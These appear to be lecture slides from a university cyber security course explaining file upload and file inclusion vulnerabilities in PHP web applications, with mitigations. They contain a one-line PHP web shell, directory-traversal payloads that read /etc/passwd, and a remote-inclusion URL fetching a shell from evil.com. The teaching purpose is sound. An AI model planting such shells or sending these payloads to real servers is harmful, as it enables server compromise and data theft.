Web Application Security

Dr. Digvijaysinh Rathod
Professor
School of Cyber Security and Digital Forensics
National Forensic Sciences University

digvijay.rathod@nfsu.ac.in

File Upload and Inclusion Vulnerability

File Upload

- ✓ A file upload vulnerability occurs when a web application allows users to upload files without properly validating the file's type, content, name, or path.
- ✓ Attackers exploit this to upload malicious files (e.g., PHP shells, scripts, executables) that can later be executed on the server.

- ✓ **Example Scenario** A website allows profile picture uploads.
- ✓ If the server only checks the filename extension (like .jpg) but not the file content, an attacker could upload a PHP web shell disguised as an image.

```
<?php system($_GET['cmd']); ?>
```

- ✓ They rename it to profile.jpg.php and upload it. If the application stores the file in a web-accessible directory (/uploads/profile.jpg.php), the attacker can later execute commands by accessing:

https://victim.com/uploads/profile.jpg.php?cmd=ls

File Upload - Types of File Upload Vulnerabilities

Type	Description	Example
Unrestricted Upload	No validation of file type, size, or content.	Uploading .php or .exe files.
MIME Type Mismatch	Server trusts Content-Type header sent by browser.	Browser says image/jpeg, but content is PHP code.
Extension Bypass	Weak filtering allows double extensions.	shell.php.jpg
Overwrite Attack	Upload overwrites an existing file.	Replacing index.html with a malicious one.
Directory Traversal	Manipulating path to place file outside intended folder.	../../../../var/www/html/shell.php

Impact

- ✓ Remote Code Execution (RCE)
- ✓ Website defacement
- ✓ Data theft or modification
- ✓ Privilege escalation
- ✓ Complete server compromise

Mitigation

1. Whitelist allowed file types (e.g., .jpg, .png, .pdf)
2. Validate MIME type and content (use server-side libraries like fileinfo in PHP)
3. Rename uploaded files and store them outside web root
4. Disable direct access to uploaded files
5. Use random filenames and paths
6. Perform antivirus scanning on uploaded content

Concept Diagram – File Upload Vulnerability

[User]
↓ (uploads malicious.php disguised as image)
[Upload Form]
↓
[Server: weak validation]
↓
[/uploads/malicious.php]
↓ (attacker visits)
[Remote Code Execution]

File Inclusion Vulnerability

File Inclusion

A file inclusion vulnerability arises when a web application dynamically loads or includes files based on user input (like include, require, or load statements) without proper validation.

It is common in PHP and similar languages.

File Inclusion

Type	Description	Example
Local File Inclusion (LFI)	Includes local files from the server's file system.	?page=../../etc/passwd
Remote File Inclusion (RFI)	Includes remote files via a URL.	?page=http://evil.com/shell.txt

Example – Local File Inclusion

```
<?php
$page = $_GET['page'];
include("pages/" . $page);
?>
```

Attacker sends:

https://victim.com/vuln.php?page=../../../../etc/passwd

Result: Server includes and displays sensitive local files.

Example – Remote File Inclusion

If allow_url_include = On in PHP configuration:

https://victim.com/vuln.php?page=http://evil.com/shell.txt

The attacker's remote PHP code is executed on the victim's server.

Impact

1. Disclosure of sensitive data
2. Execution of arbitrary code
3. Access to configuration files (/etc/passwd, config.php)
4. Server compromise (RFI → remote code execution)

Mitigation

1. Never trust user input for file paths.
2. Use whitelisted files only.
3. Disable allow_url_include and allow_url_fopen in PHP.
4. Use absolute file paths, not relative.
5. Sanitize and validate all parameters.
6. Use path normalization to prevent traversal (realpath() in PHP).

Relationship Between File Upload and File Inclusion

Both are input-handling vulnerabilities and can often be chained:

Step	Combined Attack Scenario
1	Attacker uploads a malicious PHP file via an Unrestricted File Upload vulnerability.
2	Application restricts direct access to /uploads, but has a Local File Inclusion vulnerability.
3	Attacker triggers inclusion manually: ?page=../../uploads/shell.php.
4	Malicious PHP executes — resulting in **Remote Code Execution**.

Hence, a weak file upload validation + file inclusion flaw = **full server takeover**.

Combined Attack Diagram

[1] File Upload Vulnerability
↓ (upload malicious.php)
[Server stores in /uploads]

[2] File Inclusion Vulnerability
↓ (trigger inclusion via ?page=../../uploads/malicious.php)
[PHP executes attacker's code → Full RCE]

Mobile Phone Security

Dr. Digvijaysinh Rathod
Professor
School of Cyber Security and Digital Forensics
National Forensic Sciences University

digvijay.rathod@nfsu.ac.in